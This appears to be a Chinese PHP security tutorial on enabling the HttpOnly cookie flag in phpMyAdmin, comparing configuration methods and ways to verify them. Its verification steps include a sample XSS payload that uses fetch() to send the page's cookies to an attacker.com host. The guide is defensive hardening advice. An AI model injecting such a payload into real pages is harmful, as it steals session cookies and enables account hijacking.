HttpOnly是phpMyAdmin防止XSS窃取会话Cookie的必要基础防线，必须通过session_set_cookie_params()等可靠方式在session_start()前配置，并经document.cookie实测和curl响应头验证生效；它不解决XSS本身，但能阻断会话劫持。
phpMyAdmin 本身不“需要”开启 HttpOnly 来运行，但它必须开启 HttpOnly 才能防止会话 Cookie 被 XSS 攻击窃取——而这个会话 Cookie 正是登录后维持管理员身份的关键凭证。
phpMyAdmin 的会话 Cookie 为什么特别危险
phpMyAdmin 默认使用 $cfg['auth_type'] = 'cookie'，所有操作（查库、导出、执行 SQL）都依赖服务端颁发的 PHP session ID。这个 session ID 就存在一个名为 phpMyAdmin 的 Cookie 中。一旦攻击者通过某处 XSS 注入脚本（比如在 SQL 查询结果里渲染了未过滤的用户输入），就能用 document.cookie 直接读到它——除非该 Cookie 带了 HttpOnly 标志。
- 没有
HttpOnly：恶意脚本可立即拿到phpMyAdmin=abc123...，发给攻击者服务器，直接复用会话 - 开了
HttpOnly：document.cookie返回值中完全不包含该 Cookie，XSS 脚本拿不到会话 ID，攻击链中断 - phpMyAdmin 界面复杂、历史代码多、用户常上传/执行任意 SQL，XSS 面风险天然高于普通后台，所以 HttpOnly 不是可选项，而是基础防线
三种设置方式的实际效果差异
phpMyAdmin 的配置分散在多个地方，不同设置方式优先级不同，容易漏配或被覆盖：
-
php.ini设置session.cookie_httponly = 1：全局生效，但会被后续代码覆盖 - 在
config.inc.php开头加ini_set('session.cookie_httponly', '1');：只对当前请求有效，必须在session_start()前调用 - 用
session_set_cookie_params(['httponly' => true])：最可靠，尤其适合 phpMyAdmin 这类单入口应用，且支持 PHP 7.3+ 的关联数组写法
常见失效原因：只改了 php.ini 却没重启 PHP-FPM；或者在 config.inc.php 里写了 ini_set，但位置错在 session_start() 之后——这时设置完全不生效。
立即学习“PHP免费学习笔记（深入）”；
验证 HttpOnly 是否真起作用
别只看响应头或浏览器开发者工具里的勾选框，要实测脚本是否真的读不到：
- 打开 phpMyAdmin 登录页，F12 打开控制台，在 Console 输入
document.cookie，确认返回字符串里不含phpMyAdmin= - 手动执行一段 XSS 测试脚本：
<script>fetch("https://attacker.com/log?c="+btoa(document.cookie))</script>，观察是否能收到含会话 ID 的请求 - 用 curl 检查响应头：
curl -I https://your-pma.example.com/，确认 Set-Cookie 字段末尾有; HttpOnly（注意分号和空格）
很多团队卡在“看起来设置了，但实际无效”，根本原因是 phpMyAdmin 的 session 初始化逻辑早于你的配置点——必须把 session_set_cookie_params() 放在 libraries/common.inc.php 或 index.php 最开头，而不是等 config 加载完再动。
HttpOnly 本身不加密、不防 CSRF、也不解决 XSS 漏洞本身，它只是让 XSS 失去最关键的战利品。在 phpMyAdmin 这种高权限管理界面里，漏掉这一个属性，等于把数据库的钥匙挂在门把手上还贴了张纸条说明怎么开门。
